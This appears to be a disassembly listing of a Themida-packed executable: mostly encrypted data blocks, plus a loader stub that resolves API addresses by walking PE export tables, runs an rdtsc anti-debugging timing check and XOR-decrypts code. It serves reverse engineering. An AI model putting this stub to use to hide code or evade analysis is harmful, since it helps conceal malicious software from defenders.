dd 0A2309D3Ah, 8629FDDEh, 0E19B3FEEh, 14EAA0E8h, 0EAF89433h
dd 361F970Bh, 4297904Dh, 1400A698h, 0E7F4F60h, 0D8E3ACEAh
dd 3C3300C2h, 0A0076412h, 449D862h, 686C3CB2h, 0CC3F9082h
dd 7E0FF4D2h, 0DA1BF711h, 0DD10123Fh, 57C09063h, 0C6F030B3h
dd 2DD330C3h, 66D9AC7Dh, 1290C4C8h, 0DB06D098h, 0C754F86Ah
dd 43AA6677h, 82E00D74h, 0E2407BBEh, 0A9719ADh, 0A92F8878h
dd 90D80E08h, 79FFBFE7h, 3AE9586Dh, 0C6E078B8h, 4C87288h
dd 4A42C569h, 2ABB2A01h, 4865E2E0h, 12B094F1h, 862A2378h
dd 0F5AF4355h, 23D7D088h, 42E0CD8Ch, 0DEC010D8h, 0FC202EDDh
dd 2F1C6DF2h, 19566458h, 3B05FC98h, 6AD02CEFh, 2CE0C7F7h
dd 0B2CD594Bh, 56406061h, 0A5EFF325h, 0CF642D0Fh, 92B044D8h
dd 2DF4F098h, 3DFA1CD8h, 76199CBDh, 2F0B408h, 26C724D0h
dd 3A7C67FDh, 5397C7D3h, 72201DCCh, 0F00C01Bh, 0AA20D8E7h
dd 0AE10F8B8h, 5FF93F22h, 7E5072C4h, 0E5EE00C0h, 1C08D807h
dd 0F20D8D63h, 680B0DAh, 75AFC2D5h, 1FA45DCFh, 0C2F37418h
dd 44B410D8h, 0C314295Fh, 96604868h, 3844E548h, 31FEAEF0h
dd 944BF417h, 0EF104747h, 27FBFF22h, 3E50B2C4h, 123B43A3h
dd 34449571h, 5A39C4D8h, 0CAE7D864h, 79FBCA97h, 118BFEF8h
dd 92C9B08Dh, 1EC0D3D8h, 4C8318A8h, 46598AFDh, 0F8442448h
dd 71FDEAF0h, 0D48B3417h, 0A1188747h, 0C9569DECh, 5526706Bh
dd 0A394C9DFh, 36E3E8E8h, 88C484C8h, 5702A56Eh, 7FD0BC78h
dd 5BA1B032h, 70180BF7h, 363F6F26h, 856FD1AAh, 288E8C8h
dd 51CF9BB3h, 0B1B86621h, 7B7BFAFDh, 235B313h, 0D570C4B1h
dd 0BD82878Ah, 2F100C28h, 0A3C40ECh, 8D00BB37h, 0D17A0E70h
dd 35E81A97h, 0F78B7E2Dh, 893F3FA3h, 8E82F45Dh, 0B358C7A8h
dd 53977430h, 72201DCCh, 0E00C01Bh, 2F27649Ch, 46B0C13Ch
dd 0E4709488h, 0FBB71C2Ch, 1A00F5ACh, 0B7E068F8h, 90580EBDh
dd 67F5F65h, 75AFC123h, 1FA45DCFh, 0C2F07418h, 54B414D8h
dd 56D0040h, 6B01A087h, 0B7C71BB7h, 0CE10B99Ch, 6AD01CECh
dd 9048AFCCh, 1A8FAB75h, 0F6BE3071h, 1A183483h, 0CE4B2C8Ch
dd 755B3CBDh, 53FF8833h, 0CFA70397h, 0E630A1BCh, 82F03400h
dd 0A340A2ADh, 0BA80552Ah, 0BE097C78h, 0DCF592Dh, 0A71869A0h
dd 5475D621h, 6A06881h, 0C77A176Ch, 0FE508926h, 675BA483h
dd 87501707h, 50350E62h, 0C48030A1h, 0F5AD8080h, 239657C7h
dd 42E0CD76h, 0DA009455h, 7270EDE8h, 0BD0645C8h, 0E59A65F8h
dd 0B1FD20F0h, 0CEECB517h, 7D4280DEh, 0A6F523D1h, 0AE406061h
dd 2E100C28h, 5CA918FFh, 68C5FCAEh, 85E6019Ah, 35AC8080h
dd 0CCC8A8C7h, 8B5B743Bh, 8E82D865h, 0BE151BA8h, 0F6609841h
dd 7302448h, 0D0E8970Fh, 0F02FA314h, 1E103733h, 677A5EA3h
dd 7E500924h, 0B0EC86A1h, 491CA010h, 0D3086237h, 6A055758h
dd 0CA502C51h, 5220D838h, 0EA34F40Bh, 67BCB5D2h, 51F6ACB8h
dd 0D4ECF5F1h, 0C59BE458h, 0DE39049Dh, 6AD01CE8h, 0B6A9CDF8h
dd 0DEF556D8h, 9440E061h, 0E39409DFh, 766028E8h, 19C5C4C8h
dd 2B8AD828h, 4A40C515h
dd 801D7392h, 75E805B0h, 0EF9545Dh, 0BA916CA8h, 0E6627C78h
dd 8F95AE61h, 4E005021h, 8FDADF0Ch, 0C6B041C5h, 0DA16BFEEh
dd 7BB740D9h, 9A0075ACh, 36E0EAF8h, 1A0486BDh, 57FD8592h
dd 0A136BC78h, 0E488E5B1h, 0D248F418h, 75C090F1h, 4314A95Fh
dd 1668C868h, 0C3446448h, 0B1FC20F0h, 6E556B17h, 86A02881h
dd 5770D48Ch, 0B4F8C053h, 4A2972ADh, 0BB0B02F8h, 0AB34C13Fh
dd 2680E088h, 0DB257C68h, 86A3A05Eh, 3B8E1102h, 35A650C8h
dd 0D13A2C9Bh, 0FFD8EE6Dh, 0C952E50h, 0CE00D021h, 0FDA5F0Ch
dd 46B0C1C6h, 67873FEEh, 7E5009DCh, 1A10DC28h, 7661D09Eh
dd 963007BCh, 9025AA90h, 0EC502C51h, 0A396D793h, 0C2E04D8Ah
dd 0A56FF873h, 7F675357h, 967071FCh, 7230E448h, 9EB08E6Ch
dd 53AC99EAh, 0EE0AB8A8h, 5D8FAF1Dh, 0B7BEBFD5h, 0CA521CA5h
dd 0F265DFF8h, 12B0D4F1h, 0DA006098h, 0E0B84C64h, 529D1193h
dd 69F0244Ah, 0E52138DDh, 0D0789357h, 0A19FF783h, 0E20920CDh
dd 8F004018h, 9ADBA9E8h, 0BA2572F8h, 0C87004B1h, 4626BFB3h
dd 3F1A8CABh, 36F0D184h, 0D3002FAEh, 0EA05D732h, 0A50AC51h
dd 0D3205A38h, 0C6750327h, 0DEC080E1h, 0F9028A8h, 1CA07862h
dd 0A2091ACDh, 0CDA58A18h, 2BD08CD1h, 3EC62858h, 92DB55EEh
dd 0E489B58h, 24950668h, 5CE0B8C1h, 0AB34C13Fh, 2E80E088h
dd 0DA257C60h, 8EA3A05Eh, 3B8D1102h, 35A650C8h, 327BED18h
dd 536AC0C8h, 72201D35h, 0F4DF28B2h, 2F27A317h, 46B0C13Ch
dd 0E2609488h, 5B3545E9h, 0E293744Eh, 8F9DCDF2h, 0F9D604D8h
dd 0C72A60ABh, 9A12ACD5h, 0A2A52F38h, 0C2F06431h, 2BC030D8h
dd 11E71DB7h, 9FD82E63h, 4F95EE50h, 0E009021h, 0CFDA1F0Ch
dd 6B081C5h, 1F59FFEEh, 3E50B2C8h, 7F9A4DA2h, 76F06A68h
dd 4A006FAEh, 97FCE59Ah, 0A2FAFC78h, 19DF6241h, 0BB74B1FFh
dd 1EC3D0C8h, 96E46DA8h, 6FE48D8Fh, 0F230A458h, 0AE754418h
dd 1354591Fh, 0C6A078A8h, 68051788h, 1B96EB0h, 605BA4D7h
dd 36081707h, 3A4F7B32h, 917FDAD9h, 33D4399Fh, 0A6205828h
dd 4A84FC08h, 366A5968h, 856FD685h, 2FE44D8Fh, 0B2306458h
dd 64741018h, 6FFA9B58h, 86B001C4h, 2F6A3449h, 0BE6478D1h
dd 636CA92Ah, 1220A8E8h, 9674C4CBh, 0D77F0833h, 0ABE08397h
dd 9FD7F092h, 0BA964BF7h, 3BCAB027h, 3A80D5D4h, 3088231Eh
dd 85CFDBB1h, 1E39449Dh, 0AAD07CE8h, 0CDE48CB8h, 6AFD1F4Fh
dd 5540201Ah, 0E65145E9h, 33EA3048h, 52A03DB4h, 173F4832h
dd 0FA7C397h, 2630E1BCh, 0C2B07408h, 0E6A61CACh, 7F9A6FF8h
dd 96707104h, 8A56EEA3h, 6B0A60E7h, 6AC02594h, 904813DEh
dd 558FAB71h, 2E7974DDh, 0DA108F28h, 0FDBF5CF9h, 0B2354F07h
dd 858070DAh, 0B61875A0h, 63D7510Bh, 82E00D8Ch, 1E40D0D8h
dd 3F1D62DDh, 56703104h, 7270ACC2h, 767343E1h, 6E1DD865h
dd 7A0689Ch, 0E9C01C68h, 984653F3h, 0FCD07D90h, 0B9588E53h
dd 0D208EC48h, 8F822098h, 0A108170Eh, 0A05591BDh, 82C14C6Eh
dd 1D703BBEh, 83BBC402h, 93973787h, 0B2205DCCh, 0CE000018h
dd 255B869Ch, 0C414BD33h, 0EA5BD498h, 56BC38D1h, 0A5EFF557h
dd 1E4A6B48h, 6D4FBDCDh, 17106515h, 4FA77C78h, 663021BCh
dd 22F0B408h, 0B59756ADh, 237BB450h, 0FD48DBF3h, 0F9E00FB0h
dd 1E426895h, 22455DE8h, 47A0E8FAh, 0C6341FB1h, 16FDB95Ch
dd 9110DC38h, 0A6A2E445h, 0DA352FC8h, 1980B0DAh, 9A69B8EDh
dd 26209838h, 35F20008h, 5A02BB00h, 79C7FAA8h, 86228CC5h
dd 0B63FE448h, 0CE0081C1h, 6AD01100h, 54E5F3B8h, 913C11C6h
dd 7204DE6Ah, 4FEF8C64h, 76F0168Ah, 50684141h, 25D36088h
dd 9253C030h, 6D08EBC7h, 9B18004Bh, 953F2F2Dh, 0AAD2D43Dh
dd 14635378h, 2EB52D44h, 8D00505Ah, 0AF59D4AAh, 0C6B03A58h
dd 9D586703h, 0FE4030EBh, 6EE2A428h, 8B6B1707h, 0D2A0C670h
dd 9A66C8CEh, 9FDB4397h, 0A6301A80h, 41F8BE83h, 10EB9C92h
dd 7595C52Bh, 1661A8F0h, 0E8B46B48h, 4D000019h, 0FA92205Dh
dd 0FE153BB8h, 8E70C4CAh, 3B4F9864h, 5A100C8Ah, 0DDE4EE75h
dd 82F23C4Dh, 7E86E398h, 35A4DF80h, 0DE9D9BC7h, 2F0A44Ah
dd 0D9FB5BADh, 2113E3A4h, 3D608879h, 0CAA51D44h, 100D05Ah
dd 0AAD1516Dh, 3E25FBB8h, 847084CAh, 5BBF08D9h, 1AEC4927h
dd 0F66B68F8h, 66F32FCAh, 1AE648C8h, 3769C397h, 26309A80h
dd 0C214F107h, 0DBC310D8h, 0FA80EE14h, 0D418CD7Bh, 32BBE458h
dd 0C10CC733h, 6AD0D16Ah, 0EE783B8h, 0A2B4D787h, 0FEC3F058h
dd 0CE578F2Ah, 3498ADFBh, 42E2C4D8h, 0EC58D567h, 0DFAFFC78h
dd 0E630A60Ah, 8D30B152h, 1EC0675Dh, 0BA0C85A8h, 0A95C0878h
dd 0F2A42147h, 0B0804018h, 0A155D3FDh, 4DA078B8h, 215B15CEh
dd 0BA8E06Ch, 0A3EFB3DBh, 26A25045h, 0D1C7F1C8h, 7EC29C1Dh
dd 72D5BF68h, 2F20487Ah, 52B2108Dh, 0E5C01BD8h, 6AD2F02Dh
dd 2D68BA78h, 0A27284CDh, 73697218h, 9AD09CE8h, 99480FCAh
dd 0AF70D488h, 7FCB8C16h, 18130E03h, 126593E8h, 0E7B0548Ah
dd 3E446394h, 8EDF4D97h, 8D41041Ch, 877F7713h, 9ED01240h
dd 422567C8h, 3E60983Ah, 8DCFD0DBh, 0E006979h, 0A4A5DCE8h
dd 34ACBF93h, 0EA37AF81h, 817CB257h, 155933D7h, 491EDA7Dh
dd 768C8F37h, 0C7040719h, 75AF3C68h, 64CB37C7h, 0A2D43E89h
dd 102010D8h, 0F61B6C9Bh, 52E5CF5Ch, 0BB30F40Ah, 0DE42409Dh
dd 0E26991E8h, 5A0B891h, 0B2322C0Dh, 9BE59658h, 0D9D6A766h
dd 34CB3CBAh, 0E9F602C4h, 0FD01A770h, 4F50FC68h, 6F209838h
dd 0DCAFC84Eh, 8B3F871Bh, 0BA8052D6h, 597FE0B9h, 0F231BECDh
dd 0E4541018h, 0D52FB6C0h, 0D69EA62Dh, 3DB09188h, 0FF453857h
dd 16F84C28h, 0DE1F171Ch, 0D2B084D9h, 28F445CBh, 5935D001h
dd 0D4553B5Dh, 3898061h, 92756FD8h, 85903CEAh, 65EFAEDh
dd 0E6B5ED48h, 0A600105Ah, 0EAD09CF1h, 0E7F45DEBh, 553FB1E3h
dd 0CD321536h, 0A606540h, 9F96C18Ah, 0F7D721A4h, 7368B798h
dd 22AF8380h, 6620182Bh, 67A2D15Bh, 0ECAF24ABh, 53E2BCCDh
dd 0B30CE10Eh, 2530412Fh, 0F1E8FFF0h, 0AAC2B417h, 23F3F8B8h
dd 8913F5CAh, 0C10402Dh, 7679BA41h, 0B6850F9Dh, 0BA92EC9Fh
dd 0F6685F67h, 0D9503C68h, 47489B5Dh, 8C951366h, 38A964B7h
dd 93E2FCD1h, 0F30C210Eh, 6530812Fh, 31E77FF0h, 0E7844C17h
dd 169D283Dh, 0F2143E88h, 0C117F132h, 0CA2E66BDh, 52DCA1F8h
dd 2C965137h, 6EAA6088h, 0B1841E5h, 0B6709828h, 1245CB58h
dd 76C0C0E5h, 0BA946CA9h, 161622Ch, 0B06431B7h, 0E4544008h
dd 0BF2F8BECh, 0C6B03AECh, 9D64D00Bh, 0EE02FCEDh, 0F885B328h
dd 69E0F8C6h, 9A05090Bh, 388030D9h, 34362997h, 5EA35828h
dd 0F974FBF7h, 57C090D8h, 6AD2742Dh, 4060A278h, 8C92F1B7h
dd 8E850008h, 0EA7418E7h, 468B38B8h, 211A84D8h, 0D6411A08h
dd 9A100C28h, 0B47557AEh, 11B054F6h, 0AA8F1F60h, 0CA507A6Fh
dd 247C9DB1h, 8F7DB418h, 9ED012B8h, 78F87925h, 84318868h
dd 8D602422h, 1E3EAE8Dh, 5528DFE8h, 43757CB7h, 0E21A9488h
dd 3C1C85A7h, 8FEFCC38h, 0B6F05692h, 5D4FFC4Bh, 0EE851E1Ch
dd 0FAD5B568h, 1520C87Ah, 933377C1h, 5AAA4188h, 0A62553F9h
dd 6960583Ah, 220EA2DDh, 0C1C00518h, 6AD5866Ch, 8F698BB8h
dd 0B232200Dh, 6F11A158h, 0D5109340h, 0E31F78F8h, 12A0FA46h
dd 2A8FA01Dh, 4A50F93Bh
dd 0A4581DB1h, 3A333418h, 1EC0A233h, 4DA82723h, 46598CFDh
dd 0F230A448h, 8D063538h, 3AC0B46Dh, 0C5724BB8h, 9581E349h
dd 7AC539B9h, 22105C6Ah, 36E0C177h, 0D18CCF43h, 7E90481Dh
dd 9828F68h, 51D1AFF9h, 3E757DE9h, 1DC0809Ah, 7CDB9BA7h
dd 9B552B81h, 53F7C1Bh, 9E03145Bh, 0C211F7A1h, 0BC21E8BBh
dd 4C19A3D7h, 3D5D04A1h, 28110052h, 0CAAB2318h, 91A40643h
dd 6A0DF0DAh, 13A78320h, 0E31BD91Bh, 2E0F678h, 0BA94DB1Bh
dd 0B550DFB8h, 0D66030FAh, 0BDBBE748h, 0B38DCBF3h, 0AAC01DA0h
dd 757F7344h, 834C3841h, 47C362Ah, 3A3CCE5Fh, 0C2BC5452h
dd 269E3824h, 9B809C45h, 199DF80h, 7E65E539h, 0C984744Dh
dd 0C8343E5h, 0C915A3A8h, 1D9FB787h, 7B67D94Bh, 4A0FC356h
dd 952FE3CEh, 53E3EF85h, 0B9F45BC6h, 3BF0FA7h, 0E823CF7Fh
dd 89F0ACF7h, 428D3B37h, 0A1CF34CBh, 0B5AFF9ECh, 0EFBABC7h
dd 7D0FCA25h, 0E428C0ADh, 526F9354h, 0A99FF659h, 0CDC2047h
dd 5C33BFE7h, 2AD0CA00h, 39C390B8h, 6298EB77h, 0A340B058h
dd 0AE03A1A9h, 0CC09E8E8h, 0B6B084CBh, 0DB0B1267h, 0A40FE10h
dd 0C002D15Ch, 18BDCA89h, 0DD2315D7h, 241B2CA8h, 70BECB44h
dd 0F7605FC9h, 4DD38517h, 0A9279CE8h, 868038AEh, 0E4F5DB88h
dd 4840705Bh, 5512506Bh, 0F6E3147Ch, 9AF3CFC8h, 8E2040A5h
dd 64D473C8h, 5B20183Bh, 22D09428h, 9D63D4D7h, 0B11BECA8h
dd 0D66088B0h, 9A6132ABh, 0F1FF2F90h, 0E86CD1EBh, 88A3F8A8h
dd 0E230F50Bh, 7E0451DBh, 0E5EE57C0h, 0CC626707h, 0D1B004CBh
dd 0FEC2603Dh, 0C8DB3C68h, 366A5330h, 0C683B523h, 5B2BD0EBh
dd 0B01964ABh, 16E5C168h, 3130F40Ah, 0CEB88C52h, 3BD01DE8h
dd 0F9460650h, 20E56477h, 8F40E061h, 59A5BC08h, 1CE038C1h
dd 4A793AE8h, 0A6874E0h, 0CFAF038Eh, 24B497EAh, 17C1D6DBh
dd 1ED0E95Ch, 3F678943h, 567031FCh, 0F330A448h, 0BF7626Ch
dd 2AC0E56Ch, 0C6A078BBh, 0C7F118FDh, 0FE5089DCh, 61EFB3D7h
dd 0BB61E213h, 0D2A0BD4Ch, 66802098h, 0A50BA00h, 0A0480138h
dd 1AF0F408h, 2126C630h, 615A657h, 9060D841h, 8B4C4ECCh
dd 0CB880008h, 0EAC0A594h, 357D85Ah, 2260ED0Ch, 0BE407050h
dd 0E790055Dh, 0F6F09186h, 657530C9h, 3EB9641Dh, 0CA507C68h
dd 0E63B6C30h, 12C9C8B5h, 2EB455D8h, 3ED5128h, 0A2658868h
dd 0C8DA4EFh, 0B00D021h, 2F27C29Ch, 46B0C13Ch, 0F2709488h
dd 0C3C0392Ch, 1A00F554h, 35691FFAh, 42F2C06Dh, 4868A098h
dd 62AFC39Ah, 0D9DF257Bh, 0C2F205E0h, 225D9BD8h, 0F990BCEAh
dd 8622C8E5h, 0CE6B0C48h, 4A0F7FE7h, 6AD01EB9h, 44D80D33h
dd 0FCFB5498h, 0D69EF364h, 25EF7174h, 74DBAAF7h, 5831C4C8h
dd 0AE8000BCh, 18AE7788h, 0F25A9B6Eh, 75E04E0Bh, 0EF9545Dh
dd 0BA906CA8h, 0DF747D58h, 0E2726CF5h, 1EB5CD18h, 0A1D0CCD1h
dd 0D6B01035h, 35D4E788h, 0FE4AD4E1h, 9AA5C128h, 0C5E0F8E8h
dd 31B0356Dh, 9924D39Ah, 1A6938EDh, 0A6205838h, 0EC74FB28h
dd 21C090D8h, 0AB7804DBh, 9D9F3795h, 0A272DCDDh, 41D28518h
dd 0EAD0046Ch, 0FE15B3B8h, 0A970C4CAh, 0F4C16012h, 5A106C0Ch
dd 0FEAA8318h, 5B8346BBh, 1594929Bh, 0DA4014E5h, 0EAD9338h
dd 70F0A418h, 0BAFCDB8Eh, 2AF8492Bh, 55608868h, 72304CEFh
dd 748BC018h, 0A29A5DE0h, 0B1270FBBh, 0A0FC1103h, 0FBB73048h
dd 1A00F5ACh, 0B6E068B8h, 4A4706BCh, 0C78CD29Bh, 4EE5B558h
dd 0AD20C87Ah, 0F2F15C7Bh, 6744952Fh, 0FAD0ACB8h, 94144878h
dd 0DA61FCBFh, 31FF7C33h, 69DCF7B1h, 748B90CBh, 51260584h
dd 0B319AFFCh, 0CA291C9Dh, 0BE5DA1F8h, 0E1B0D48Ah, 0A1DE3F3Ch
dd 0CDDD6E59h, 0E6209907h, 0BB72A132h, 18B5D0C8h, 0ECE8BEC1h
dd 0DF061A4Ch, 0D5D84D18h, 0D4FFBFC2h, 29DC9663h, 435768F2h
dd 62602D0Ch, 0DE40B058h, 0EF150DA5h, 0F26D61EBh, 0D1B0948Ah
dd 7E90481Dh, 62F73F68h, 0A6205838h, 0CBD8B723h, 0DEC0C35Fh
dd 3A15DBA8h, 1760D847h, 0C6306448h, 4643C71Fh, 4A703C48h
dd 0BF24BD4Fh, 2270D498h, 0B9346058h, 0AD4BE47Ah, 7DBA5707h
dd 82F28045h, 0A7850398h, 0C7BB5423h, 24E095B3h, 13B418h
dd 0D54B5333h, 0BE151B80h, 0D5609841h, 6302448h, 0C6854B0Ch
dd 0A9D04CAAh, 56E24835h, 4EF59788h, 7F40201Ah, 0A5A4720h
dd 0F49CED73h, 188904D8h, 6783D390h, 0C8513422h, 7E435B28h
dd 4675FF08h, 36C0009Ah, 0FA908538h, 0CF680A79h, 0B860A749h
dd 0DE39028Dh, 0EE55EBE8h, 6A0A881h, 0D6505488h, 56CDF35Eh
dd 6C109C38h, 0F265DFF8h, 12B0D4F1h, 0DB806298h, 0BD96027Ch
dd 0F6191CBDh, 86F03408h, 94C6A5D8h, 0AAA9EF1Dh, 0D2E5FF78h
dd 0F230B471h, 0FB004058h, 28D756E3h, 10A2D27Ah, 6B9BE36Ah
dd 3C72B7D2h, 78C64E82h, 5232DB0Fh, 5DD4A643h, 0D303789Ah
dd 0A40FE34h, 19A45738h, 0BD0F0BF2h, 0CE82E86Dh, 0C805D3A8h
dd 0E960D846h, 0A27210FDh, 6895FF18h, 67D08CD6h, 96E25835h
dd 4AE55988h, 0EF40601Ah, 0A510667Ah, 0E6A2F44Dh, 3425BBC8h
dd 0D180F0A6h, 0DA1220DDh, 40B5E738h, 8FF0A436h, 8E81186Dh
dd 622513A8h, 8060983Ah, 4C92B1B7h, 0AB83C008h, 0AAC01EB4h
dd 46483BB8h, 0BF709488h, 93C13132h, 1A00F4A7h, 77EF98A0h
dd 42A5844Dh, 2D402598h, 7AAFF4EBh, 0A6A51937h, 1F0641Dh
dd 74C000E5h, 9C8CD9A8h, 9A4434F9h, 21459524h, 31C46878h
dd 6FA5E317h, 0F95A0D50h, 5DA2BC77h, 10210FA7h, 8C68A1D7h
dd 53583ACCh, 72B0C4C8h, 517FC570h, 0C1698997h, 6B10BC7Ch
dd 92B17CBDh, 16905BD8h, 0BCAAEDCEh, 457B7Ah, 0D30A420h
dd 0E4C4CB18h, 0D5808EE8h, 0D69E8A2Dh, 6AB49788h, 0C11C8ED9h
dd 99651017h, 0DEE42E7Bh, 2D4F7EAAh, 917F5F70h, 0B293DD97h
dd 0A620584Ch, 6D4845E3h, 36C090D8h, 7A902CB5h, 0AE60E8BAh
dd 0B2306478h, 4E0010F0h, 0EAF45EE8h, 86A1BD00h, 22733C88h
dd 92827058h, 7E448128h, 75CE65F4h, 8BCC4430h, 2E8008F8h
dd 9EDB7C68h, 0ED7D281Ch, 641D3512h, 76C040E1h, 0C56F0C4Fh
dd 0D6644A19h, 7736234Bh, 0A648C219h, 8E494FFDh, 119415FFh
dd 0FF8B0100h
dword_60FA7C dd 24Fh dup(0) dd offset loc_60D0EC
dd 0A59h dup(0)
dword_612D20 dd 8B8h dup(0) ; ---------------------------------------------------------------------------
loc_615000: ; DATA XREF: Themida_:006182CCo
call $+5
mov eax, [esp]
cld
mov [eax+32C7h], ebx
mov ecx, [eax+297Fh]
mov ebx, [esp+4]
and ecx, 10000000h
jz short loc_61504C
pop ecx
mov [eax+32CBh], esi
mov cl, [eax+2983h]
mov [eax+32CFh], edi
cmp cl, 0E8h
jz short loc_615041
mov ebx, [eax+2985h]
jmp short loc_61504A
; ---------------------------------------------------------------------------
loc_615041: ; CODE XREF: Themida_:00615037j
add ebx, [eax+2984h]
mov ebx, [ebx+2]
loc_61504A: ; CODE XREF: Themida_:0061503Fj
mov ebx, [ebx]
loc_61504C: ; CODE XREF: Themida_:0061501Fj
push ebp
mov ebp, eax
sub dword ptr [esp+4], 8005h
sub ebp, 101005h
mov edi, [esp+4]
lea esi, [ebp+103990h]
mov ecx, 0E5h
rep movsb
call sub_615125
mov ecx, eax
call sub_615125
sub eax, ecx
jz short loc_6150F7
cmp eax, 100h
ja short loc_6150F7
and ebx, 0FFFFF000h
loc_61508B: ; CODE XREF: Themida_:0061509Aj
cmp dword ptr [ebx+4Eh], 73696854h
jz short loc_61509C
loc_615094: ; CODE XREF: Themida_:006150A9j
sub ebx, 100h
jnz short loc_61508B
loc_61509C: ; CODE XREF: Themida_:00615092j
mov eax, ebx
add eax, [ebx+3Ch]
mov edx, [eax+78h]
cmp word ptr [eax], 4550h
jnz short loc_615094
add edx, ebx
mov esi, [edx+20h]
mov ecx, [edx+18h]
add esi, ebx
push ecx
loc_6150B6: ; CODE XREF: Themida_:loc_6150CAj
lodsd
add eax, ebx
cmp word ptr [eax+2], 5074h
jnz short loc_6150CA
cmp dword ptr [eax+5], 6441636Fh
jz short loc_6150CF
loc_6150CA: ; CODE XREF: Themida_:006150BFj
loop loc_6150B6
pop ecx
jmp short loc_6150F7
; ---------------------------------------------------------------------------
loc_6150CF: ; CODE XREF: Themida_:006150C8j
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1Ch]
add edi, ebx
mov esi, [edi+eax*4]
add esi, ebx
lea eax, [ebp+10113Fh]
mov dx, [eax-17h]
call sub_61512A
jmp short loc_61513F
; ---------------------------------------------------------------------------
loc_6150F7: ; CODE XREF: Themida_:0061507Cj
; Themida_:00615083j ...
mov eax, [ebp+103984h]
and eax, 10000000h
jz short loc_615123
mov edi, [esp+4]
lea esi, [ebp+103988h]
lodsd
mov ebx, [ebp+1042CCh]
stosd
movsb
mov edi, [ebp+1042D4h]
mov esi, [ebp+1042D0h]
loc_615123: ; CODE XREF: Themida_:00615102j
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_615125 proc near ; CODE XREF: Themida_:0061506Ep
; Themida_:00615075p
rdtsc
retn
sub_615125 endp
; ---------------------------------------------------------------------------
db 6, 0EBh
; =============== S U B R O U T I N E =======================================
sub_61512A proc near ; CODE XREF: Themida_:006150F0p
push ebx
mov ecx, 2845h
mov ebx, edx
loc_615132: ; CODE XREF: sub_61512A+11j
xor [eax], dl
sub dl, bl
xchg bl, bh
inc eax
xchg dl, dh
loop loc_615132
pop ebx
retn
sub_61512A endp
; ---------------------------------------------------------------------------
loc_61513F: ; CODE XREF: Themida_:006150F5j
out dx, al
out 0, eax
add dl, bh
push esi
cwde
inc ebp
popf
pop edx
mov al, ds:0B00D8C35h
sbb edx, esi
shr byte ptr [edi], 7Eh
inc ebx
cmp dl, ah
in al, dx
scasb
out 50h, eax
icebp
mov dl, 11h
lodsb
db 65h
aam 5Eh
shl dword ptr [edi+edi*8], 20h ; CODE XREF: Themida_:00615167j
loop near ptr loc_615184+2
loopne near ptr loc_615161+3
leave
movsb
rol dword ptr [esi-56h], 1
inc edi
rep leave
dec esi
call near ptr 22CB36E1h
pop esi
aaa
pop ds
sub [esi], esp
sub eax, 0CE32052Dh
xor dl, dl
push ebp
loc_615184: ; CODE XREF: Themida_:00615165j
mov dword ptr [ecx+ebx*4], 71A109D1h
or al, 37h
or al, 1Eh
; ---------------------------------------------------------------------------
db 0FEh
dd 0A4813F0h, 7A7DC4D8h, 0D6307DCh, 0C85313E1h, 5FF0F0E5h
dd 4F9FDBC5h, 4244C82Ch, 0A67B8BE4h, 0BEEDB183h, 0DC0E1152h
dd 1F1298C7h, 86069936h, 6FD005A4h, 69817445h, 7704CDFCh
dd 0D5BE5CB9h, 5AFDD076h, 9B9144FDh, 322C2DA3h, 0AEC3AF51h
dd 1A90306Eh, 0D23FD2F2h, 3E418DDh, 0C83C4970h, 5FB5F033h
dd 0DE72F1B1h, 6F011144h, 0C6A6F29Fh, 3708E07Ah, 0F10AB4F6h
dd 9C4A3DE0h, 7E9F9C59h, 5E0C9F6Ch, 0F5B2849Dh, 32B66C80h
dd 666EAFF2h, 0D338600Bh, 5E6462C0h, 3068206Fh, 36C43C99h
dd 146EA53Ch, 0DE8724FDh, 10C29C18h, 8BC10C41h, 0EA9000DEh
dd 57457F95h, 0E2D4E404h, 0C6FE3168h, 5FA5D003h, 0BE42D661h
dd 50831D94h, 2D864012h, 0A9D8CA47h, 1B77CD25h, 8234934Ah
dd 8AC5D7CAh, 946827EAh, 36F578CAh, 52CD58B4h, 78C0D91Eh
dd 0FEA3401Bh, 218AB115h, 2276B7DBh, 16F48B89h, 0AA011D9h
dd 967204D9h, 0F21DF807h, 0D87079CEh, 1AF5E04Bh, 0CC18508Ah
dd 0C2AEC8AFh, 0B6EED489h, 0AA72B007h, 0C94E4CECh, 0FA3C993Dh
dd 86978C80h, 44F61554h, 648274C5h, 9D1469FFh, 46006ABCh
dd 4A6DB853h, 6F7B447Dh, 58BC38A5h, 2C0575D1h, 8FEF2A91h
dd 0E2A2A8Fh, 81A7F9A4h, 0E6B0AAC4h, 6EB7F0A3h, 0DEE2E6F9h
dd 0D20CDE1Fh, 82628221h, 45608C07h, 0BEB4C6E0h, 7401259Fh
dd 0A5DE8CDEh, 34B51D3Ah, 0CF329423h, 7B4EB49h, 0E5866C73h
dd 4A8E9226h, 0CAD554C5h, 42044AEFh, 8ECB992h, 5AA73053h
dd 0C507AB6Ch, 99AC08AFh, 16E8D644h, 0FB70FFEBh, 0D702719Ah
dd 67DFE82Fh, 0D66EE2AFh, 45A9A06Ch, 0AEEBEB38h, 787133E7h
dd 4526BC2Fh, 9B215F21h, 0B74611EAh, 0F2F889Fh, 76DE426Bh
dd 1B077900h, 17A7EB0Ch, 0BA4C480Eh, 46764DD9h, 5E8FD06h
dd 0E14134A5h, 0FB0228B5h, 951A6CF6h, 4A2213D2h, 9425FD5Eh
dd 7F849287h, 0F6D30F04h, 0DAE959DBh, 0CA97D405h, 3DBB3662h
dd 3BC5DAA6h, 0AA98FD87h, 35A4A4ADh, 39E8DF5Ah, 139B6833h
dd 7A50BDDFh, 6CE312F9h, 0A017C319h, 0DD4BBEABh, 22E83A07h
dd 3E123611h, 3256F4ACh, 260CE8DAh, 1A902013h, 5FFA7EADh
dd 52EA629Dh, 0C8C06906h, 6960F033h, 320AA489h, 598CD805h
dd 4DB6A675h, 0D0A0AA07h, 0FC08DEF5h, 4E5CA875h, 0FC5E9C3Bh
dd 75E2C173h, 0A8277BCDh, 2DDC68F9h, 69F9E9A8h, 5A31679Fh
dd 4EEFD945h, 0FB84587Fh, 36AE3022h, 8F2BDF48h, 0E02C96Ch
dd 97A11807h, 6461803h, 0AED0E094h, 11C0D4FFh, 0DC0A7D40h
dd 167BDCF9h, 221CA54Ch, 0BE52C572h, 0B27CA98Fh, 0E2C3FF91h
dd 0FDA5C2DEh, 0F893E6B5h, 0E541E466h, 9E197C5Ch, 6A787533h
dd 1CEED172h, 0C73358A7h, 46E67283h, 1CB5BF5Ch, 444A240Bh
